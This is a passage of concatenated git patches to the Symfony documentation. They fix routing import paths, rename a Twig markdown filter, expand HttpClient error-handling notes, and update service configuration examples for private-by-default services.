-            # exclude: '../src/Controller/{DebugEmailController}.php'
+            # exclude: '../../src/Controller/{DebugEmailController}.php'
 
     .. code-block:: xml
 
@@ -1191,18 +1191,18 @@ the common configuration using options when importing the routes.
                 the 'name-prefix' value is added to the beginning of all imported route names
                 the 'exclude' option defines the files or subdirectories ignored when loading annotations
             -->
-            <import resource="../src/Controller/"
+            <import resource="../../src/Controller/"
                 type="annotation"
                 prefix="/blog"
                 name-prefix="blog_"
-                exclude="../src/Controller/{DebugEmailController}.php">
+                exclude="../../src/Controller/{DebugEmailController}.php">
                 <!-- these requirements are added to all imported routes -->
                 <requirement key="_locale">en|es|fr</requirement>
             </import>
 
             <!-- An imported route with an empty URL will become "/blog/"
                  Uncomment this option to make that URL "/blog" instead -->
-            <import resource="../src/Controller/" type="annotation"
+            <import resource="../../src/Controller/" type="annotation"
                     prefix="/blog"
                     trailing-slash-on-root="false">
                     <!-- ... -->
@@ -1217,7 +1217,7 @@ the common configuration using options when importing the routes.
         return function (RoutingConfigurator $routes) {
             // use the optional fifth argument of import() to exclude some files
             // or subdirectories when loading annotations
-            $routes->import('../src/Controller/', 'annotation')
+            $routes->import('../../src/Controller/', 'annotation')
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')
                 // An imported route with an empty URL will become "/blog/"
@@ -1737,7 +1737,7 @@ with a locale. This can be done by defining a different prefix for each locale
 
         # config/routes/annotations.yaml
         controllers:
-            resource: '../src/Controller/'
+            resource: '../../src/Controller/'
             type: annotation
             prefix:
                 en: '' # don't prefix URLs for English, the default locale
@@ -1752,7 +1752,7 @@ with a locale. This can be done by defining a different prefix for each locale
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="../src/Controller/" type="annotation">
+            <import resource="../../src/Controller/" type="annotation">
                 <!-- don't prefix URLs for English, the default locale -->
                 <prefix locale="en"></prefix>
                 <prefix locale="nl">/nl</prefix>
@@ -1765,7 +1765,7 @@ with a locale. This can be done by defining a different prefix for each locale
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            $routes->import('../src/Controller/', 'annotation')
+            $routes->import('../../src/Controller/', 'annotation')
                 ->prefix([
                     // don't prefix URLs for English, the default locale
                     'en' => '',
@@ -2156,7 +2156,7 @@ defined as annotations:
 
         # config/routes/annotations.yaml
         controllers:
-            resource: '../src/Controller/'
+            resource: '../../src/Controller/'
             type: annotation
             defaults:
                 schemes: [https]
@@ -2170,7 +2170,7 @@ defined as annotations:
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="../src/Controller/" type="annotation">
+            <import resource="../../src/Controller/" type="annotation">
                 <default key="schemes">HTTPS</default>
             </import>
         </routes>
@@ -2181,7 +2181,7 @@ defined as annotations:
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            $routes->import('../src/Controller/', 'annotation')
+            $routes->import('../../src/Controller/', 'annotation')
                 ->schemes(['https'])
             ;
         };

From 70ab8bfb516beae0496d73fc8208b5fecd96f6f3 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 13 Feb 2020 19:50:08 +0100
Subject: [PATCH 0296/7107] Update mailer.rst

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 59d5354ec36..294895b129c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -489,14 +489,14 @@ several popular libraries):
 .. code-block:: terminal
 
     # instead of league/commonmark, you can also use erusev/parsedown or michelf/php-markdown
-    $ composer require twig/markdown-extension league/commonmark
+    $ composer require twig/markdown-extra league/commonmark
 
-The extension adds a ``markdown`` filter, which you can use to convert parts or
+The extension adds a ``markdown_to_html`` filter, which you can use to convert parts or
 the entire email contents from Markdown to HTML:
 
 .. code-block:: twig
 
-    {% apply markdown %}
+    {% apply markdown_to_html %}
         Welcome {{ email.toName }}!
         ===========================
 

From a7dac721a918a51c2173876e595e6a18273c3a61 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Fri, 14 Feb 2020 11:26:54 +0100
Subject: [PATCH 0297/7107] Update twig.rst

Typo ?
---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 5c18bef30c4..05e0da4ec34 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -80,7 +80,7 @@ If set to a string, the template contents are escaped using the strategy with
 that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr``
 and ``name``. The default value is ``name``. This strategy escapes contents
 according to the template name extension (e.g. it uses ``html`` for ``*.html.twig``
-templates and ``js`` for ``*.js.html`` templates).
+templates and ``js`` for ``*.js.twig`` templates).
 
 .. tip::
 

From 61cddf56dac12b2127a0b06789ff6abd0daa6f16 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Fri, 14 Feb 2020 18:08:52 +0100
Subject: [PATCH 0298/7107] [HttpClient] better explain how to deal with
 exceptions

---
 components/http_client.rst | 39 +++++++++++++++++++++++++++++++++++++-
 1 file changed, 38 insertions(+), 1 deletion(-)

diff --git a/components/http_client.rst b/components/http_client.rst
index 1217c6f8606..375ca8a528e 100644
--- a/components/http_client.rst
+++ b/components/http_client.rst
@@ -449,6 +449,34 @@ When the HTTP status code of the response is in the 300-599 range (i.e. 3xx,
     // instead the original response content (even if it's an error message)
     $content = $response->getContent(false);
 
+While responses are lazy, their destructor will always wait for headers to come
+back. This means that the following request *will* complete; and if e.g. a 404
+is returned, an exception will be thrown::
+
+    // because the returned value is not assigned to a variable, the destructor
+    // of the returned response will be called immediately and will throw if the
+    // status code is in the 300-599 range
+    $client->request('POST', 'https://...');
+
+This in turn means that unassigned responses will fallback to synchronous requests.
+If you want to make these requests concurrent, you can store their corresponding
+responses in an array::
+
+    $responses[] = $client->request('POST', 'https://.../path1');
+    $responses[] = $client->request('POST', 'https://.../path2');
+    // ...
+
+    // This line will trigger the destructor of all responses stored in the array;
+    // they will complete concurrently and an exception will be thrown in case a
+    // status code in the 300-599 range is returned
+    unset($responses);
+
+This behavior provided at destruction-time is part of the fail-safe design of the
+component. No errors will be unnoticed: if you don't write the code to handle
+errors, exceptions will notify you when needed. On the other hand, if you write
+the error-handling code, you will opt-out from these fallback mecanisms as the
+destructor won't have anything remaining to do.
+
 Concurrent Requests
 -------------------
 
@@ -583,7 +611,16 @@ catching ``TransportExceptionInterface`` in the foreach loop::
 
     foreach ($client->stream($responses) as $response => $chunk) {
         try {
-            if ($chunk->isLast()) {
+            if ($chunk->isTimeout()) {
+                // ... decide what to do when a timeout occurs
+                // if you want to stop a response that timed out, don't miss
+                // calling $response->cancel() or the destructor of the response
+                // will try to complete it one more time
+            } elseif ($chunk->isFirst()) {
+                // if you want to check the status code, you must do it when the
+                // first chunk arrived, using $response->getStatusCode();
+                // not doing so might trigger an HttpExceptionInterface
+            } elseif ($chunk->isLast()) {
                 // ... do something with $response
             }
         } catch (TransportExceptionInterface $e) {

From fcc86411ab0f556471c23cc9d4767d3b5693ed3d Mon Sep 17 00:00:00 2001
From: Vincent Langlet <VincentLanglet@users.noreply.github.com>
Date: Fri, 14 Feb 2020 23:47:02 +0100
Subject: [PATCH 0299/7107] Add doc for rounding_mode

---
 reference/forms/types/percent.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 0455b5e8a5b..a42ab18f043 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -18,6 +18,7 @@ the input.
 | Options     | - `scale`_                                                            |
 |             | - `symbol`_                                                           |
 |             | - `type`_                                                             |
+|             | - `rounding_mode`_                                                    |
 +-------------+-----------------------------------------------------------------------+
 | Overridden  | - `compound`_                                                         |
 | options     |                                                                       |
@@ -55,8 +56,12 @@ scale
 
 **type**: ``integer`` **default**: ``0``
 
-By default, the input numbers are rounded. To allow for more decimal places,
-use this option.
+This specifies how many decimals will be allowed until the field rounds
+the submitted value (via ``rounding_mode``). For example, if ``scale`` is set
+to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
+``20.12`` (depending on your `rounding_mode`_).
+
+.. include:: /reference/forms/types/options/rounding_mode.rst.inc
 
 symbol
 ~~~~~~

From 55756450bfc56b0ab70adc114882c6d43a2d0085 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 15 Feb 2020 19:44:47 +0100
Subject: [PATCH 0300/7107] Minor fix

---
 components/http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_client.rst b/components/http_client.rst
index 375ca8a528e..86d1f065f68 100644
--- a/components/http_client.rst
+++ b/components/http_client.rst
@@ -474,7 +474,7 @@ responses in an array::
 This behavior provided at destruction-time is part of the fail-safe design of the
 component. No errors will be unnoticed: if you don't write the code to handle
 errors, exceptions will notify you when needed. On the other hand, if you write
-the error-handling code, you will opt-out from these fallback mecanisms as the
+the error-handling code, you will opt-out from these fallback mechanisms as the
 destructor won't have anything remaining to do.
 
 Concurrent Requests

From b274029ec05d1a110c0f1220e6feac80c6b95a1f Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sat, 25 Jan 2020 06:33:42 +0100
Subject: [PATCH 0301/7107] Update service_container.rst

---
 frontend/custom_version_strategy.rst        | 24 +++++++----
 profiler/data_collector.rst                 | 25 ++++++-----
 reference/dic_tags.rst                      | 46 +++++++++++++--------
 security/custom_authentication_provider.rst | 36 ++++++++--------
 serializer.rst                              | 16 ++++---
 service_container.rst                       | 12 ++----
 service_container/alias_private.rst         |  9 ++--
 service_container/autowiring.rst            |  3 +-
 service_container/import.rst                |  4 +-
 service_container/parent_services.rst       | 12 +++---
 service_container/service_decoration.rst    |  8 +---
 service_container/tags.rst                  |  4 +-
 12 files changed, 104 insertions(+), 95 deletions(-)

diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 6f350d1bd35..6361ba632c0 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -118,7 +118,6 @@ After creating the strategy PHP class, register it as a Symfony service.
                 arguments:
                     - "%kernel.project_dir%/busters.json"
                     - "%%s?version=%%s"
-                public: false
 
     .. code-block:: xml
 
@@ -130,7 +129,7 @@ After creating the strategy PHP class, register it as a Symfony service.
                 https://symfony.com/schema/dic/services/services-1.0.xsd"
         >
             <services>
-                <service id="App\Asset\VersionStrategy\GulpBusterVersionStrategy" public="false">
+                <service id="App\Asset\VersionStrategy\GulpBusterVersionStrategy">
                     <argument>%kernel.project_dir%/busters.json</argument>
                     <argument>%%s?version=%%s</argument>
                 </service>
@@ -140,16 +139,23 @@ After creating the strategy PHP class, register it as a Symfony service.
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
         use Symfony\Component\DependencyInjection\Definition;
 
-        $container->autowire(GulpBusterVersionStrategy::class)
-            ->setArguments(
-                [
-                    '%kernel.project_dir%/busters.json',
-                    '%%s?version=%%s',
-                ]
-        )->setPublic(false);
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(GulpBusterVersionStrategy::class)
+                ->args(
+                    [
+                        '%kernel.project_dir%/busters.json',
+                        '%%s?version=%%s',
+                    ]
+                );
+        };
+
 
 Finally, enable the new asset versioning for all the application assets or just
 for some :ref:`asset package <reference-framework-assets-packages>` thanks to
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 55dd8fe7c31..85e046785d3 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -239,7 +239,6 @@ to specify a tag that contains the template:
                         id:       'app.request_collector'
                         # optional priority
                         # priority: 300
-                public: false
 
     .. code-block:: xml
 
@@ -251,7 +250,7 @@ to specify a tag that contains the template:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="App\DataCollector\RequestCollector" public="false">
+                <service id="App\DataCollector\RequestCollector">
                     <!-- priority="300" -->
                     <tag name="data_collector"
                         template="data_collector/template.html.twig"
@@ -264,17 +263,21 @@ to specify a tag that contains the template:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\DataCollector\RequestCollector;
 
-        $container
-            ->autowire(RequestCollector::class)
-            ->setPublic(false)
-            ->addTag('data_collector', [
-                'template' => 'data_collector/template.html.twig',
-                'id'       => 'app.request_collector',
-                // 'priority' => 300,
-            ])
-        ;
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(RequestCollector::class)
+                ->autowire()
+                ->tag('data_collector', [
+                    'template' => 'data_collector/template.html.twig',
+                    'id'       => 'app.request_collector',
+                    // 'priority' => 300,
+                ]);
+        };
 
 The position of each panel in the toolbar is determined by the collector priority.
 Priorities are defined as positive or negative integers and they default to ``0``.
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index f96ecae2cc8..5570b7097d1 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -64,13 +64,10 @@ services:
         services:
             app.mysql_lock:
                 class: App\Lock\MysqlLock
-                public: false
             app.postgresql_lock:
                 class: App\Lock\PostgresqlLock
-                public: false
             app.sqlite_lock:
                 class: App\Lock\SqliteLock
-                public: false
 
     .. code-block:: xml
 
@@ -81,24 +78,31 @@ services:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="app.mysql_lock" public="false"
+                <service id="app.mysql_lock"
                     class="App\Lock\MysqlLock"/>
-                <service id="app.postgresql_lock" public="false"
+                <service id="app.postgresql_lock"
                     class="App\Lock\PostgresqlLock"/>
-                <service id="app.sqlite_lock" public="false"
+                <service id="app.sqlite_lock"
                     class="App\Lock\SqliteLock"/>
             </services>
         </container>
 
     .. code-block:: php
 
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Lock\MysqlLock;
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        $container->register('app.mysql_lock', MysqlLock::class)->setPublic(false);
-        $container->register('app.postgresql_lock', PostgresqlLock::class)->setPublic(false);
-        $container->register('app.sqlite_lock', SqliteLock::class)->setPublic(false);
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set('app.mysql_lock', MysqlLock::class);
+            $services->set('app.postgresql_lock', PostgresqlLock::class);
+            $services->set('app.sqlite_lock', SqliteLock::class);
+        };
 
 Instead of dealing with these three services, your application needs a generic
 ``app.lock`` service that will be an alias to one of these services, depending on
@@ -132,11 +136,11 @@ the generic ``app.lock`` service can be defined as follows:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="app.mysql_lock" public="false"
+                <service id="app.mysql_lock"
                     class="App\Lock\MysqlLock"/>
-                <service id="app.postgresql_lock" public="false"
+                <service id="app.postgresql_lock"
                     class="App\Lock\PostgresqlLock"/>
-                <service id="app.sqlite_lock" public="false"
+                <service id="app.sqlite_lock"
                     class="App\Lock\SqliteLock"/>
 
                 <service id="app.lock">
@@ -147,16 +151,24 @@ the generic ``app.lock`` service can be defined as follows:
 
     .. code-block:: php
 
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Lock\MysqlLock;
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        $container->register('app.mysql_lock', MysqlLock::class)->setPublic(false);
-        $container->register('app.postgresql_lock', PostgresqlLock::class)->setPublic(false);
-        $container->register('app.sqlite_lock', SqliteLock::class)->setPublic(false);
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set('app.mysql_lock', MysqlLock::class);
+            $services->set('app.postgresql_lock', PostgresqlLock::class);
+            $services->set('app.sqlite_lock', SqliteLock::class);
 
-        $container->register('app.lock')
-            ->addTag('auto_alias', ['format' => 'app.%database_type%_lock']);
+            $services->set('app.lock')
+                ->tag('auto_alias', ['format' => 'app.%database_type%_lock'])
+            ;
+        };
 
 The ``format`` option defines the expression used to construct the name of the service
 to alias. This expression can use any container parameter (as usual,
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index a1732e8f08b..2110651b4cf 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -396,11 +396,9 @@ to service ids that may not exist yet: ``App\Security\Authentication\Provider\Ws
             App\Security\Authentication\Provider\WsseProvider:
                 arguments:
                     $cachePool: '@cache.app'
-                public: false
 
             App\Security\Firewall\WsseListener:
                 arguments: ['@security.token_storage', '@security.authentication.manager']
-                public: false
 
     .. code-block:: xml
 
@@ -411,15 +409,11 @@ to service ids that may not exist yet: ``App\Security\Authentication\Provider\Ws
             xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="App\Security\Authentication\Provider\WsseProvider"
-                    public="false"
-                >
+                <service id="App\Security\Authentication\Provider\WsseProvider">
                     <argument key="$cachePool" type="service" id="cache.app"></argument>
                 </service>
 
-                <service id="App\Security\Firewall\WsseListener"
-                    public="false"
-                >
+                <service id="App\Security\Firewall\WsseListener">
                     <argument type="service" id="security.token_storage"/>
                     <argument type="service" id="security.authentication.manager"/>
                 </service>
@@ -428,21 +422,27 @@ to service ids that may not exist yet: ``App\Security\Authentication\Provider\Ws
 
     .. code-block:: php
 
-        // config/services.php
+         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Security\Authentication\Provider\WsseProvider;
         use App\Security\Firewall\WsseListener;
         use Symfony\Component\DependencyInjection\Reference;
 
-        $container->register(WsseProvider::class)
-            ->setArgument('$cachePool', new Reference('cache.app'))
-            ->setPublic(false);
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(WsseProvider::class)
+                ->arg('$cachePool', ref('cache.app'))
+            ;
 
-        $container->register(WsseListener::class)
-            ->setArguments([
-                new Reference('security.token_storage'),
-                new Reference('security.authentication.manager'),
-            ])
-            ->setPublic(false);
+            $services->set(WsseListener::class)
+                ->args([
+                    ref('security.token_storage'),
+                    ref('security.authentication.manager'),
+                ])
+            ;
+        };
 
 Now that your services are defined, tell your security context about your
 factory in the kernel::
diff --git a/serializer.rst b/serializer.rst
index a3b269fefd3..99b39d8aa56 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -93,7 +93,6 @@ properties and setters (``setXxx()``) to change properties:
         services:
             get_set_method_normalizer:
                 class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
-                public: false
                 tags: [serializer.normalizer]
 
     .. code-block:: xml
@@ -106,7 +105,7 @@ properties and setters (``setXxx()``) to change properties:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer" public="false">
+                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
                     <tag name="serializer.normalizer"/>
                 </service>
             </services>
@@ -115,12 +114,17 @@ properties and setters (``setXxx()``) to change properties:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
 
-        $container->register('get_set_method_normalizer', GetSetMethodNormalizer::class)
-            ->setPublic(false)
-            ->addTag('serializer.normalizer')
-        ;
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
+                ->tag('serializer.normalizer')
+            ;
+        };
 
 .. _serializer-using-serialization-groups-annotations:
 
diff --git a/service_container.rst b/service_container.rst
index a09187552f7..7b772f14626 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -154,9 +154,6 @@ each time you ask for it.
                 _defaults:
                     autowire: true      # Automatically injects dependencies in your services.
                     autoconfigure: true # Automatically registers your services as commands, event subscribers, etc.
-                    public: false       # Allows optimizing the container by removing unused services; this also means
-                                        # fetching services directly from the container via $container->get() won't work.
-                                        # The best practice is to be explicit about your dependencies anyway.
 
                 # makes classes in src/ available to be used as services
                 # this creates a service per class whose id is the fully-qualified class name
@@ -177,7 +174,7 @@ each time you ask for it.
 
                 <services>
                     <!-- Default configuration for services in *this* file -->
-                    <defaults autowire="true" autoconfigure="true" public="false"/>
+                    <defaults autowire="true" autoconfigure="true"/>
 
                     <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
                 </services>
@@ -815,8 +812,7 @@ loss, enable the compiler pass in your application.
 Public Versus Private Services
 ------------------------------
 
-Thanks to the ``_defaults`` section in ``services.yaml``, every service defined in
-this file is ``public: false`` by default.
+From Symfony 4.0, every service defined is private by default.
 
 What does this mean? When a service **is** public, you can access it directly
 from the container object, which is accessible from any controller that extends
@@ -956,9 +952,7 @@ them will not cause the container to be rebuilt.
 .. note::
 
     Wait, does this mean that *every* class in ``src/`` is registered as
-    a service? Even model classes? Actually, no. As long as you have
-    ``public: false`` under your ``_defaults`` key (or you can add it under the
-    specific import), all the imported services are *private*. Thanks to this, all
+    a service? Even model classes? Actually, no. As long as you keep your imported services as :ref:`private <container-public>`, all
     classes in ``src/`` that are *not* explicitly used as services are
     automatically removed from the final container. In reality, the import
     means that all classes are "available to be *used* as services" without needing
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 09b2d11376c..e9088ad4cfc 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -23,8 +23,7 @@ And in this case, those services do *not* need to be public.
 
 So unless you *specifically* need to access a service directly from the container
 via ``$container->get()``, the best-practice is to make your services *private*.
-In fact, the :ref:`default services.yaml configuration <container-public>` configures
-all services to be private by default.
+In fact, All services  are :ref:`private <container-public>` by default.
 
 You can also control the ``public`` option on a service-by-service basis:
 
@@ -37,7 +36,7 @@ You can also control the ``public`` option on a service-by-service basis:
             # ...
 
             App\Service\Foo:
-                public: false
+                public: true
 
     .. code-block:: xml
 
@@ -48,7 +47,7 @@ You can also control the ``public`` option on a service-by-service basis:
             xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="App\Service\Foo" public="false"/>
+                <service id="App\Service\Foo" public="true"/>
             </services>
         </container>
 
@@ -63,7 +62,7 @@ You can also control the ``public`` option on a service-by-service basis:
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->private();
+                ->public();
         };
 
 .. _services-why-private:
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 7a23745b728..b2974d6c4f3 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -73,7 +73,6 @@ both services:
             _defaults:
                 autowire: true
                 autoconfigure: true
-                public: false
             # ...
 
             App\Service\TwitterClient:
@@ -92,7 +91,7 @@ both services:
             xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <defaults autowire="true" autoconfigure="true" public="false"/>
+                <defaults autowire="true" autoconfigure="true"/>
                 <!-- ... -->
 
                 <!-- autowire is redundant thanks to defaults, but value is overridable on each service -->
diff --git a/service_container/import.rst b/service_container/import.rst
index 40ad01d42ed..1c52d08ab39 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -85,7 +85,6 @@ a relative or absolute path to the imported file:
             _defaults:
                 autowire: true
                 autoconfigure: true
-                public: false
 
             App\:
                 resource: '../src/*'
@@ -105,7 +104,7 @@ a relative or absolute path to the imported file:
             <imports>
                 <import resource="services/mailer.xml"/>
 
-                <defaults autowire="true" autoconfigure="true" public="false"/>
+                <defaults autowire="true" autoconfigure="true"/>
 
                 <prototype namespace="App\" resource="../src/*"
                     exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
@@ -126,7 +125,6 @@ a relative or absolute path to the imported file:
                 ->defaults()
                     ->autowire()
                     ->autoconfigure()
-                    ->private()
             ;
 
             $services->load('App\\', '../src/*')
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 1e1f6846860..163ba9a16e2 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -181,8 +181,8 @@ the child class:
             App\Repository\DoctrineUserRepository:
                 parent: App\Repository\BaseDoctrineRepository
 
-                # overrides the public setting of the parent service
-                public: false
+                # overrides the private setting of the parent service
+                public: true
 
                 # appends the '@app.username_checker' argument to the parent
                 # argument list
@@ -207,10 +207,10 @@ the child class:
             <services>
                 <!-- ... -->
 
-                <!-- overrides the public setting of the parent service -->
+                <!-- overrides the private setting of the parent service -->
                 <service id="App\Repository\DoctrineUserRepository"
                     parent="App\Repository\BaseDoctrineRepository"
-                    public="false"
+                    public="true"
                 >
                     <!-- appends the '@app.username_checker' argument to the parent
                          argument list -->
@@ -248,8 +248,8 @@ the child class:
             $services->set(DoctrineUserRepository::class)
                 ->parent(BaseDoctrineRepository::class)
 
-                // overrides the public setting of the parent service
-                ->private()
+                // overrides the private setting of the parent service
+                ->public()
 
                 // appends the '@app.username_checker' argument to the parent
                 // argument list
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 5d070345f6f..3b46351e80b 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -254,13 +254,11 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
         Foo: ~
 
         Bar:
-            public: false
             decorates: Foo
             decoration_priority: 5
             arguments: ['@Bar.inner']
 
         Baz:
-            public: false
             decorates: Foo
             decoration_priority: 1
             arguments: ['@Baz.inner']
@@ -277,11 +275,11 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             <services>
                 <service id="Foo"/>
 
-                <service id="Bar" decorates="Foo" decoration-priority="5" public="false">
+                <service id="Bar" decorates="Foo" decoration-priority="5">
                     <argument type="service" id="Bar.inner"/>
                 </service>
 
-                <service id="Baz" decorates="Foo" decoration-priority="1" public="false">
+                <service id="Baz" decorates="Foo" decoration-priority="1">
                     <argument type="service" id="Baz.inner"/>
                 </service>
             </services>
@@ -298,12 +296,10 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             $services->set(Foo::class);
 
             $services->set(Bar::class)
-                ->private()
                 ->decorate(Foo::class, null, 5)
                 ->args([ref(Bar::class.'.inner')]);
 
             $services->set(Baz::class)
-                ->private()
                 ->decorate(Foo::class, null, 1)
                 ->args([ref(Baz::class.'.inner')]);
         };
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7484dc73826..8fbd7d5671c 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -16,7 +16,6 @@ example:
         # config/services.yaml
         services:
             App\Twig\AppExtension:
-                public: false
                 tags: ['twig.extension']
 
     .. code-block:: xml
@@ -29,7 +28,7 @@ example:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="App\Twig\AppExtension" public="false">
+                <service id="App\Twig\AppExtension">
                     <tag name="twig.extension"/>
                 </service>
             </services>
@@ -46,7 +45,6 @@ example:
             $services = $configurator->services();
 
             $services->set(AppExtension::class)
-                ->private()
                 ->tag('twig.extension');
         };
 

From 41fb3627e552e897a6e8f31918fc9a0b8169eb16 Mon Sep 17 00:00:00 2001
From: Sacha Durand <sacha6623@gmail.com>
Date: Wed, 12 Feb 2020 00:31:52 +0100
Subject: [PATCH 0302/7107] [3.4] patch for dependency injection in controllers

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index ae905081eab..c035f192507 100644
--- a/controller.rst
+++ b/controller.rst
@@ -254,7 +254,7 @@ Fetching Services as Controller Arguments
     The ability to type-hint a controller argument in order to receive a service
     was introduced in Symfony 3.3.
 
-Symfony comes *packed* with a lot of useful objects, called :doc:`services </service_container>`.
+Symfony comes *packed* with a lot of useful classes and functionalities, called :doc:`services </service_container>`.
 These are used for rendering templates, sending emails, querying the database and
 any other "work" you can think of.
 

From 528d155808c2eac29c4d9f3486ca3ea67f69460b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 15 Feb 2020 20:29:51 +0100
Subject: [PATCH 0303/7107] Remove old versionadded directive

---
 service_container/service_decoration.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index dfc13c2b699..6f622452169 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -312,11 +312,6 @@ The generated code will be the following::
 Control the Behavior When the Decorated Service Does Not Exist
 --------------------------------------------------------------
 
-.. versionadded:: 4.4
-
-    The ``decoration_on_invalid`` option has been introduced in Symfony 4.4.
-    In previous versions, a ``ServiceNotFoundException`` was always thrown.
-
 When you decorate a service that doesn't exist, the ``decoration_on_invalid``
 option allows you to choose the behavior to adopt.
 

From 44df76171e542f26509c4bac5961d6907e00b6d8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Sun, 16 Feb 2020 10:14:54 +0100
Subject: [PATCH 0304/7107] Adjusts description of the csrf_token extension

---
